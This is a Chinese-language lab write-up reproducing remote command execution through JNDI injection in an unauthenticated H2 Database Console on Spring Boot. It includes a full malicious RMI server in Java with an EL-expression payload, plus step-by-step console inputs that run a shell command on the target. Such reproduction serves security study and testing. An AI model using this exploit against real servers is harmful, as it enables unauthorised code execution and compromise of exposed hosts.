# H2 Database Console 未授权访问 ## 漏洞描述 H2 database是一款Java内存数据库,多用于单元测试。H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权: ``` spring.h2.console.enabled=true spring.h2.console.settings.web-allow-others=true ``` 利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令。 参考链接: - https://mp.weixin.qq.com/s?__biz=MzI2NTM1MjQ3OA==&mid=2247483658&idx=1&sn=584710da0fbe56c1246755147bcec48e ## 环境搭建 执行如下命令启动一个Springboot + h2database环境: ``` docker-compose up -d ``` 启动后,访问`http://your-ip:8080/h2-console/`即可查看到H2 database的管理页面。 ## 漏洞复现 目标环境是Java 8u252,版本较高,因为上下文是Tomcat环境,我们可以参考《[Exploiting JNDI Injections in Java](https://www.veracode.com/blog/research/exploiting-jndi-injections-java)》,使用`org.apache.naming.factory.BeanFactory`加EL表达式注入的方式来执行任意命令。 ```java import java.rmi.registry.*; import com.sun.jndi.rmi.registry.*; import javax.naming.*; import org.apache.naming.ResourceRef; public class EvilRMIServerNew { public static void main(String[] args) throws Exception { System.out.println("Creating evil RMI registry on port 1097"); Registry registry = LocateRegistry.createRegistry(1097); //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code ref.add(new StringRefAddr("forceString", "x=eval")); //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()\")")); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("Object", referenceWrapper); } } ``` 我们可以借助这个小工具[JNDI](https://github.com/JosephTribbianni/JNDI)简化我们的复现过程。 首先设置JNDI工具中执行的命令为`touch /tmp/success`: ![image-20220223235645410](images/202202232356618.png) 然后启动`JNDI-1.0-all.jar`,在h2 console页面填入JNDI类名和URL地址: ![image-20220224001157803](images/202202240011878.png) Driver Class(JNDI的工厂类): ``` javax.naming.InitialContext ``` JDBC URL(运行JNDI工具监听的RMI地址): ``` rmi://192.168.128.1:23456/BypassByEL ``` 点击连接后,恶意RMI成功接收到请求: ![image-20220224001238367](images/202202240012570.png) `touch /tmp/success`已成功执行: ![image-20220224001248279](images/202202240012334.png)